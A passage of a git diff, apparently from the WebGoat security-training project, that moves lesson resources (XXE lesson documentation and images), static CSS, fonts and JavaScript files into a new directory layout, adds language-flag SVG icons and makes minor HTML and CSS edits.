webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_changing_content_type.adoc rename to src/main/resources/lessons/xxe/documentation/XXE_changing_content_type.adoc diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_changing_content_type_solution.adoc b/src/main/resources/lessons/xxe/documentation/XXE_changing_content_type_solution.adoc similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_changing_content_type_solution.adoc rename to src/main/resources/lessons/xxe/documentation/XXE_changing_content_type_solution.adoc diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_code.adoc b/src/main/resources/lessons/xxe/documentation/XXE_code.adoc similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_code.adoc rename to src/main/resources/lessons/xxe/documentation/XXE_code.adoc diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_intro.adoc b/src/main/resources/lessons/xxe/documentation/XXE_intro.adoc similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_intro.adoc rename to src/main/resources/lessons/xxe/documentation/XXE_intro.adoc diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_mitigation.adoc b/src/main/resources/lessons/xxe/documentation/XXE_mitigation.adoc similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_mitigation.adoc rename to src/main/resources/lessons/xxe/documentation/XXE_mitigation.adoc diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_overflow.adoc b/src/main/resources/lessons/xxe/documentation/XXE_overflow.adoc similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_overflow.adoc rename to src/main/resources/lessons/xxe/documentation/XXE_overflow.adoc diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_plan.adoc b/src/main/resources/lessons/xxe/documentation/XXE_plan.adoc similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_plan.adoc rename to src/main/resources/lessons/xxe/documentation/XXE_plan.adoc diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_simple.adoc b/src/main/resources/lessons/xxe/documentation/XXE_simple.adoc similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_simple.adoc rename to src/main/resources/lessons/xxe/documentation/XXE_simple.adoc diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_simple_introduction.adoc b/src/main/resources/lessons/xxe/documentation/XXE_simple_introduction.adoc similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_simple_introduction.adoc rename to src/main/resources/lessons/xxe/documentation/XXE_simple_introduction.adoc diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_simple_solution.adoc b/src/main/resources/lessons/xxe/documentation/XXE_simple_solution.adoc similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_simple_solution.adoc rename to src/main/resources/lessons/xxe/documentation/XXE_simple_solution.adoc diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_static_code_analysis.adoc b/src/main/resources/lessons/xxe/documentation/XXE_static_code_analysis.adoc similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_static_code_analysis.adoc rename to src/main/resources/lessons/xxe/documentation/XXE_static_code_analysis.adoc diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/temp.txt b/src/main/resources/lessons/xxe/documentation/temp.txt similarity index 100% rename from webgoat-lessons/idor/src/main/resources/lessonPlans/en/temp.txt rename to src/main/resources/lessons/xxe/documentation/temp.txt diff --git a/webgoat-lessons/xxe/src/main/resources/html/XXE.html b/src/main/resources/lessons/xxe/html/XXE.html similarity index 84% rename from webgoat-lessons/xxe/src/main/resources/html/XXE.html rename to src/main/resources/lessons/xxe/html/XXE.html index 20a232b39..1360874a8 100644 --- a/webgoat-lessons/xxe/src/main/resources/html/XXE.html +++ b/src/main/resources/lessons/xxe/html/XXE.html @@ -5,19 +5,19 @@
-
+
-
+
-
+
-
+
@@ -77,16 +77,16 @@
-
+
-
+
-
+
-
+
-
+
-
+
-
+
@@ -215,14 +215,14 @@
-
+
- \ No newline at end of file + diff --git a/webgoat-lessons/xxe/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/xxe/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/xxe/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/xxe/src/main/resources/images/avatar1.png b/src/main/resources/lessons/xxe/images/avatar1.png similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/images/avatar1.png rename to src/main/resources/lessons/xxe/images/avatar1.png diff --git a/webgoat-lessons/xxe/src/main/resources/images/cat.jpg b/src/main/resources/lessons/xxe/images/cat.jpg similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/images/cat.jpg rename to src/main/resources/lessons/xxe/images/cat.jpg diff --git a/webgoat-lessons/xxe/src/main/resources/images/etc_password.png b/src/main/resources/lessons/xxe/images/etc_password.png similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/images/etc_password.png rename to src/main/resources/lessons/xxe/images/etc_password.png diff --git a/webgoat-lessons/xxe/src/main/resources/images/example.dtd b/src/main/resources/lessons/xxe/images/example.dtd similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/images/example.dtd rename to src/main/resources/lessons/xxe/images/example.dtd diff --git a/webgoat-lessons/xxe/src/main/resources/images/sonar-issue-xxe.png b/src/main/resources/lessons/xxe/images/sonar-issue-xxe.png similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/images/sonar-issue-xxe.png rename to src/main/resources/lessons/xxe/images/sonar-issue-xxe.png diff --git a/webgoat-lessons/xxe/src/main/resources/images/sonar-issues.png b/src/main/resources/lessons/xxe/images/sonar-issues.png similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/images/sonar-issues.png rename to src/main/resources/lessons/xxe/images/sonar-issues.png diff --git a/webgoat-lessons/xxe/src/main/resources/images/wolf-enabled.png b/src/main/resources/lessons/xxe/images/wolf-enabled.png similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/images/wolf-enabled.png rename to src/main/resources/lessons/xxe/images/wolf-enabled.png diff --git a/webgoat-lessons/xxe/src/main/resources/images/xxe-parser-java.png b/src/main/resources/lessons/xxe/images/xxe-parser-java.png similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/images/xxe-parser-java.png rename to src/main/resources/lessons/xxe/images/xxe-parser-java.png diff --git a/webgoat-lessons/xxe/src/main/resources/images/xxe-parser.png b/src/main/resources/lessons/xxe/images/xxe-parser.png similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/images/xxe-parser.png rename to src/main/resources/lessons/xxe/images/xxe-parser.png diff --git a/webgoat-lessons/xxe/src/main/resources/images/xxe-suggested-fix.png b/src/main/resources/lessons/xxe/images/xxe-suggested-fix.png similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/images/xxe-suggested-fix.png rename to src/main/resources/lessons/xxe/images/xxe-suggested-fix.png diff --git a/webgoat-lessons/xxe/src/main/resources/js/xxe.js b/src/main/resources/lessons/xxe/js/xxe.js similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/js/xxe.js rename to src/main/resources/lessons/xxe/js/xxe.js diff --git a/webgoat-lessons/xxe/src/main/resources/secret.txt b/src/main/resources/lessons/xxe/secret.txt similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/secret.txt rename to src/main/resources/lessons/xxe/secret.txt diff --git a/webgoat-container/src/main/resources/static/css/animate.css b/src/main/resources/webgoat/static/css/animate.css similarity index 100% rename from webgoat-container/src/main/resources/static/css/animate.css rename to src/main/resources/webgoat/static/css/animate.css diff --git a/webgoat-container/src/main/resources/static/css/asciidoctor-default.css b/src/main/resources/webgoat/static/css/asciidoctor-default.css similarity index 100% rename from webgoat-container/src/main/resources/static/css/asciidoctor-default.css rename to src/main/resources/webgoat/static/css/asciidoctor-default.css diff --git a/webgoat-container/src/main/resources/static/css/coderay.css b/src/main/resources/webgoat/static/css/coderay.css similarity index 100% rename from webgoat-container/src/main/resources/static/css/coderay.css rename to src/main/resources/webgoat/static/css/coderay.css diff --git a/webgoat-container/src/main/resources/static/css/font-awesome.min.css b/src/main/resources/webgoat/static/css/font-awesome.min.css similarity index 100% rename from webgoat-container/src/main/resources/static/css/font-awesome.min.css rename to src/main/resources/webgoat/static/css/font-awesome.min.css diff --git a/webgoat-container/src/main/resources/static/css/img/appseceu-17.png b/src/main/resources/webgoat/static/css/img/appseceu-17.png similarity index 100% rename from webgoat-container/src/main/resources/static/css/img/appseceu-17.png rename to src/main/resources/webgoat/static/css/img/appseceu-17.png diff --git a/src/main/resources/webgoat/static/css/img/cnlang.svg b/src/main/resources/webgoat/static/css/img/cnlang.svg new file mode 100644 index 000000000..7f27dae03 --- /dev/null +++ b/src/main/resources/webgoat/static/css/img/cnlang.svg @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/src/main/resources/webgoat/static/css/img/delang.svg b/src/main/resources/webgoat/static/css/img/delang.svg new file mode 100644 index 000000000..ccb5ff126 --- /dev/null +++ b/src/main/resources/webgoat/static/css/img/delang.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/src/main/resources/webgoat/static/css/img/enlang.svg b/src/main/resources/webgoat/static/css/img/enlang.svg new file mode 100644 index 000000000..b261273ec --- /dev/null +++ b/src/main/resources/webgoat/static/css/img/enlang.svg @@ -0,0 +1,7 @@ + + + + + + + diff --git a/src/main/resources/webgoat/static/css/img/eslang.svg b/src/main/resources/webgoat/static/css/img/eslang.svg new file mode 100644 index 000000000..f9c9b4b32 --- /dev/null +++ b/src/main/resources/webgoat/static/css/img/eslang.svg @@ -0,0 +1,547 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/src/main/resources/webgoat/static/css/img/favicon.ico b/src/main/resources/webgoat/static/css/img/favicon.ico new file mode 100644 index 000000000..bcacd934e Binary files /dev/null and b/src/main/resources/webgoat/static/css/img/favicon.ico differ diff --git a/src/main/resources/webgoat/static/css/img/frlang.svg b/src/main/resources/webgoat/static/css/img/frlang.svg new file mode 100644 index 000000000..dfa34e8c9 --- /dev/null +++ b/src/main/resources/webgoat/static/css/img/frlang.svg @@ -0,0 +1,7 @@ + + + + + + + diff --git a/webgoat-container/src/main/resources/static/css/img/logo.png b/src/main/resources/webgoat/static/css/img/logo.png similarity index 100% rename from webgoat-container/src/main/resources/static/css/img/logo.png rename to src/main/resources/webgoat/static/css/img/logo.png diff --git a/webgoat-container/src/main/resources/static/css/img/logoBG.jpg b/src/main/resources/webgoat/static/css/img/logoBG.jpg similarity index 100% rename from webgoat-container/src/main/resources/static/css/img/logoBG.jpg rename to src/main/resources/webgoat/static/css/img/logoBG.jpg diff --git a/src/main/resources/webgoat/static/css/img/nllang.svg b/src/main/resources/webgoat/static/css/img/nllang.svg new file mode 100644 index 000000000..eb0e360f3 --- /dev/null +++ b/src/main/resources/webgoat/static/css/img/nllang.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/webgoat-container/src/main/resources/static/css/img/owasp_logo.jpg b/src/main/resources/webgoat/static/css/img/owasp_logo.jpg similarity index 100% rename from webgoat-container/src/main/resources/static/css/img/owasp_logo.jpg rename to src/main/resources/webgoat/static/css/img/owasp_logo.jpg diff --git a/webgoat-container/src/main/resources/static/css/img/solution.svg b/src/main/resources/webgoat/static/css/img/solution.svg similarity index 100% rename from webgoat-container/src/main/resources/static/css/img/solution.svg rename to src/main/resources/webgoat/static/css/img/solution.svg diff --git a/webgoat-container/src/main/resources/static/css/img/webBg.png b/src/main/resources/webgoat/static/css/img/webBg.png similarity index 100% rename from webgoat-container/src/main/resources/static/css/img/webBg.png rename to src/main/resources/webgoat/static/css/img/webBg.png diff --git a/webwolf/src/main/resources/static/images/wolf.svg b/src/main/resources/webgoat/static/css/img/wolf.svg similarity index 100% rename from webwolf/src/main/resources/static/images/wolf.svg rename to src/main/resources/webgoat/static/css/img/wolf.svg diff --git a/webgoat-container/src/main/resources/static/css/layers.css b/src/main/resources/webgoat/static/css/layers.css similarity index 100% rename from webgoat-container/src/main/resources/static/css/layers.css rename to src/main/resources/webgoat/static/css/layers.css diff --git a/webgoat-container/src/main/resources/static/css/main.css b/src/main/resources/webgoat/static/css/main.css similarity index 99% rename from webgoat-container/src/main/resources/static/css/main.css rename to src/main/resources/webgoat/static/css/main.css index e380e781c..78faf49a4 100644 --- a/webgoat-container/src/main/resources/static/css/main.css +++ b/src/main/resources/webgoat/static/css/main.css @@ -745,7 +745,7 @@ fieldset[disabled] .btn-warning.active { } .modal .modal-body.modal-scroll { - max-height: 375px; + max-height: auto; overflow-y: scroll auto; } diff --git a/webgoat-container/src/main/resources/static/css/menu.css b/src/main/resources/webgoat/static/css/menu.css similarity index 100% rename from webgoat-container/src/main/resources/static/css/menu.css rename to src/main/resources/webgoat/static/css/menu.css diff --git a/webgoat-lessons/sql-injection/src/main/resources/css/quiz.css b/src/main/resources/webgoat/static/css/quiz.css similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/css/quiz.css rename to src/main/resources/webgoat/static/css/quiz.css diff --git a/webgoat-container/src/main/resources/static/css/webgoat.css b/src/main/resources/webgoat/static/css/webgoat.css similarity index 100% rename from webgoat-container/src/main/resources/static/css/webgoat.css rename to src/main/resources/webgoat/static/css/webgoat.css diff --git a/webgoat-container/src/main/resources/static/fonts/FontAwesome.otf b/src/main/resources/webgoat/static/fonts/FontAwesome.otf similarity index 100% rename from webgoat-container/src/main/resources/static/fonts/FontAwesome.otf rename to src/main/resources/webgoat/static/fonts/FontAwesome.otf diff --git a/webgoat-container/src/main/resources/static/fonts/fontawesome-webfont.eot b/src/main/resources/webgoat/static/fonts/fontawesome-webfont.eot similarity index 100% rename from webgoat-container/src/main/resources/static/fonts/fontawesome-webfont.eot rename to src/main/resources/webgoat/static/fonts/fontawesome-webfont.eot diff --git a/webgoat-container/src/main/resources/static/fonts/fontawesome-webfont.svg b/src/main/resources/webgoat/static/fonts/fontawesome-webfont.svg similarity index 100% rename from webgoat-container/src/main/resources/static/fonts/fontawesome-webfont.svg rename to src/main/resources/webgoat/static/fonts/fontawesome-webfont.svg diff --git a/webgoat-container/src/main/resources/static/fonts/fontawesome-webfont.ttf b/src/main/resources/webgoat/static/fonts/fontawesome-webfont.ttf similarity index 100% rename from webgoat-container/src/main/resources/static/fonts/fontawesome-webfont.ttf rename to src/main/resources/webgoat/static/fonts/fontawesome-webfont.ttf diff --git a/webgoat-container/src/main/resources/static/fonts/fontawesome-webfont.woff b/src/main/resources/webgoat/static/fonts/fontawesome-webfont.woff similarity index 100% rename from webgoat-container/src/main/resources/static/fonts/fontawesome-webfont.woff rename to src/main/resources/webgoat/static/fonts/fontawesome-webfont.woff diff --git a/webgoat-container/src/main/resources/static/js/application.js b/src/main/resources/webgoat/static/js/application.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/application.js rename to src/main/resources/webgoat/static/js/application.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/controller/LessonController.js b/src/main/resources/webgoat/static/js/goatApp/controller/LessonController.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/controller/LessonController.js rename to src/main/resources/webgoat/static/js/goatApp/controller/LessonController.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/controller/MenuController.js b/src/main/resources/webgoat/static/js/goatApp/controller/MenuController.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/controller/MenuController.js rename to src/main/resources/webgoat/static/js/goatApp/controller/MenuController.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/goatApp.js b/src/main/resources/webgoat/static/js/goatApp/goatApp.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/goatApp.js rename to src/main/resources/webgoat/static/js/goatApp/goatApp.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/model/AssignmentStatusModel.js b/src/main/resources/webgoat/static/js/goatApp/model/AssignmentStatusModel.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/model/AssignmentStatusModel.js rename to src/main/resources/webgoat/static/js/goatApp/model/AssignmentStatusModel.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/model/FlagModel.js b/src/main/resources/webgoat/static/js/goatApp/model/FlagModel.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/model/FlagModel.js rename to src/main/resources/webgoat/static/js/goatApp/model/FlagModel.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/model/FlagsCollection.js b/src/main/resources/webgoat/static/js/goatApp/model/FlagsCollection.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/model/FlagsCollection.js rename to src/main/resources/webgoat/static/js/goatApp/model/FlagsCollection.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/model/HTMLContentModel.js b/src/main/resources/webgoat/static/js/goatApp/model/HTMLContentModel.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/model/HTMLContentModel.js rename to src/main/resources/webgoat/static/js/goatApp/model/HTMLContentModel.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/model/HintCollection.js b/src/main/resources/webgoat/static/js/goatApp/model/HintCollection.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/model/HintCollection.js rename to src/main/resources/webgoat/static/js/goatApp/model/HintCollection.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/model/HintModel.js b/src/main/resources/webgoat/static/js/goatApp/model/HintModel.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/model/HintModel.js rename to src/main/resources/webgoat/static/js/goatApp/model/HintModel.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/model/LabelDebugModel.js b/src/main/resources/webgoat/static/js/goatApp/model/LabelDebugModel.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/model/LabelDebugModel.js rename to src/main/resources/webgoat/static/js/goatApp/model/LabelDebugModel.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/model/LessonContentModel.js b/src/main/resources/webgoat/static/js/goatApp/model/LessonContentModel.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/model/LessonContentModel.js rename to src/main/resources/webgoat/static/js/goatApp/model/LessonContentModel.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/model/LessonInfoModel.js b/src/main/resources/webgoat/static/js/goatApp/model/LessonInfoModel.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/model/LessonInfoModel.js rename to src/main/resources/webgoat/static/js/goatApp/model/LessonInfoModel.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/model/LessonOverviewCollection.js b/src/main/resources/webgoat/static/js/goatApp/model/LessonOverviewCollection.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/model/LessonOverviewCollection.js rename to src/main/resources/webgoat/static/js/goatApp/model/LessonOverviewCollection.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/model/MenuCollection.js b/src/main/resources/webgoat/static/js/goatApp/model/MenuCollection.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/model/MenuCollection.js rename to src/main/resources/webgoat/static/js/goatApp/model/MenuCollection.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/model/MenuData.js b/src/main/resources/webgoat/static/js/goatApp/model/MenuData.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/model/MenuData.js rename to src/main/resources/webgoat/static/js/goatApp/model/MenuData.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/model/MenuModel.js b/src/main/resources/webgoat/static/js/goatApp/model/MenuModel.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/model/MenuModel.js rename to src/main/resources/webgoat/static/js/goatApp/model/MenuModel.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/model/ReportCardModel.js b/src/main/resources/webgoat/static/js/goatApp/model/ReportCardModel.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/model/ReportCardModel.js rename to src/main/resources/webgoat/static/js/goatApp/model/ReportCardModel.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/scoreboardApp.js b/src/main/resources/webgoat/static/js/goatApp/scoreboardApp.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/scoreboardApp.js rename to src/main/resources/webgoat/static/js/goatApp/scoreboardApp.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/support/CustomGoat.js b/src/main/resources/webgoat/static/js/goatApp/support/CustomGoat.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/support/CustomGoat.js rename to src/main/resources/webgoat/static/js/goatApp/support/CustomGoat.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/support/GoatUtils.js b/src/main/resources/webgoat/static/js/goatApp/support/GoatUtils.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/support/GoatUtils.js rename to src/main/resources/webgoat/static/js/goatApp/support/GoatUtils.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/support/goatAsyncErrorHandler.js b/src/main/resources/webgoat/static/js/goatApp/support/goatAsyncErrorHandler.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/support/goatAsyncErrorHandler.js rename to src/main/resources/webgoat/static/js/goatApp/support/goatAsyncErrorHandler.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/support/goatConstants.js b/src/main/resources/webgoat/static/js/goatApp/support/goatConstants.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/support/goatConstants.js rename to src/main/resources/webgoat/static/js/goatApp/support/goatConstants.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/templates/lesson_overview.html b/src/main/resources/webgoat/static/js/goatApp/templates/lesson_overview.html similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/templates/lesson_overview.html rename to src/main/resources/webgoat/static/js/goatApp/templates/lesson_overview.html diff --git a/webgoat-container/src/main/resources/static/js/goatApp/templates/paging_controls.html b/src/main/resources/webgoat/static/js/goatApp/templates/paging_controls.html similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/templates/paging_controls.html rename to src/main/resources/webgoat/static/js/goatApp/templates/paging_controls.html diff --git a/webgoat-container/src/main/resources/static/js/goatApp/templates/report_card.html b/src/main/resources/webgoat/static/js/goatApp/templates/report_card.html similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/templates/report_card.html rename to src/main/resources/webgoat/static/js/goatApp/templates/report_card.html diff --git a/webgoat-container/src/main/resources/static/js/goatApp/templates/scoreboard.html b/src/main/resources/webgoat/static/js/goatApp/templates/scoreboard.html similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/templates/scoreboard.html rename to src/main/resources/webgoat/static/js/goatApp/templates/scoreboard.html diff --git a/webgoat-container/src/main/resources/static/js/goatApp/view/ErrorNotificationView.js b/src/main/resources/webgoat/static/js/goatApp/view/ErrorNotificationView.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/view/ErrorNotificationView.js rename to src/main/resources/webgoat/static/js/goatApp/view/ErrorNotificationView.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/view/GoatRouter.js b/src/main/resources/webgoat/static/js/goatApp/view/GoatRouter.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/view/GoatRouter.js rename to src/main/resources/webgoat/static/js/goatApp/view/GoatRouter.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/view/HelpControlsView.js b/src/main/resources/webgoat/static/js/goatApp/view/HelpControlsView.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/view/HelpControlsView.js rename to src/main/resources/webgoat/static/js/goatApp/view/HelpControlsView.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/view/HintView.js b/src/main/resources/webgoat/static/js/goatApp/view/HintView.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/view/HintView.js rename to src/main/resources/webgoat/static/js/goatApp/view/HintView.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js b/src/main/resources/webgoat/static/js/goatApp/view/LessonContentView.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js rename to src/main/resources/webgoat/static/js/goatApp/view/LessonContentView.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/view/MenuButtonView.js b/src/main/resources/webgoat/static/js/goatApp/view/MenuButtonView.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/view/MenuButtonView.js rename to src/main/resources/webgoat/static/js/goatApp/view/MenuButtonView.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/view/MenuItemView.js b/src/main/resources/webgoat/static/js/goatApp/view/MenuItemView.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/view/MenuItemView.js rename to src/main/resources/webgoat/static/js/goatApp/view/MenuItemView.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/view/MenuView.js b/src/main/resources/webgoat/static/js/goatApp/view/MenuView.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/view/MenuView.js rename to src/main/resources/webgoat/static/js/goatApp/view/MenuView.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/view/PaginationControlView.js b/src/main/resources/webgoat/static/js/goatApp/view/PaginationControlView.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/view/PaginationControlView.js rename to src/main/resources/webgoat/static/js/goatApp/view/PaginationControlView.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/view/ReportCardView.js b/src/main/resources/webgoat/static/js/goatApp/view/ReportCardView.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/view/ReportCardView.js rename to src/main/resources/webgoat/static/js/goatApp/view/ReportCardView.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/view/ScoreboardView.js b/src/main/resources/webgoat/static/js/goatApp/view/ScoreboardView.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/view/ScoreboardView.js rename to src/main/resources/webgoat/static/js/goatApp/view/ScoreboardView.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/view/TitleView.js b/src/main/resources/webgoat/static/js/goatApp/view/TitleView.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/view/TitleView.js rename to src/main/resources/webgoat/static/js/goatApp/view/TitleView.js diff --git a/webgoat-container/src/main/resources/static/js/goatApp/view/UserAndInfoView.js b/src/main/resources/webgoat/static/js/goatApp/view/UserAndInfoView.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/goatApp/view/UserAndInfoView.js rename to src/main/resources/webgoat/static/js/goatApp/view/UserAndInfoView.js diff --git a/webgoat-container/src/main/resources/static/js/jquery/jquery-1.10.2.min.js b/src/main/resources/webgoat/static/js/jquery/jquery-1.10.2.min.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/jquery/jquery-1.10.2.min.js rename to src/main/resources/webgoat/static/js/jquery/jquery-1.10.2.min.js diff --git a/webgoat-container/src/main/resources/static/js/jquery/jquery-ui-1.10.4.custom.min.js b/src/main/resources/webgoat/static/js/jquery/jquery-ui-1.10.4.custom.min.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/jquery/jquery-ui-1.10.4.custom.min.js rename to src/main/resources/webgoat/static/js/jquery/jquery-ui-1.10.4.custom.min.js diff --git a/webgoat-container/src/main/resources/static/js/jquery_form/jquery.form.js b/src/main/resources/webgoat/static/js/jquery_form/jquery.form.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/jquery_form/jquery.form.js rename to src/main/resources/webgoat/static/js/jquery_form/jquery.form.js diff --git a/webgoat-container/src/main/resources/static/js/libs/ace.js b/src/main/resources/webgoat/static/js/libs/ace.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/libs/ace.js rename to src/main/resources/webgoat/static/js/libs/ace.js diff --git a/webgoat-container/src/main/resources/static/js/libs/backbone-min.js b/src/main/resources/webgoat/static/js/libs/backbone-min.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/libs/backbone-min.js rename to src/main/resources/webgoat/static/js/libs/backbone-min.js diff --git a/webgoat-container/src/main/resources/static/js/libs/bootstrap.min.js b/src/main/resources/webgoat/static/js/libs/bootstrap.min.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/libs/bootstrap.min.js rename to src/main/resources/webgoat/static/js/libs/bootstrap.min.js diff --git a/webgoat-container/src/main/resources/static/js/libs/jquery-2.1.4.min.js b/src/main/resources/webgoat/static/js/libs/jquery-2.1.4.min.js similarity index 100% rename from 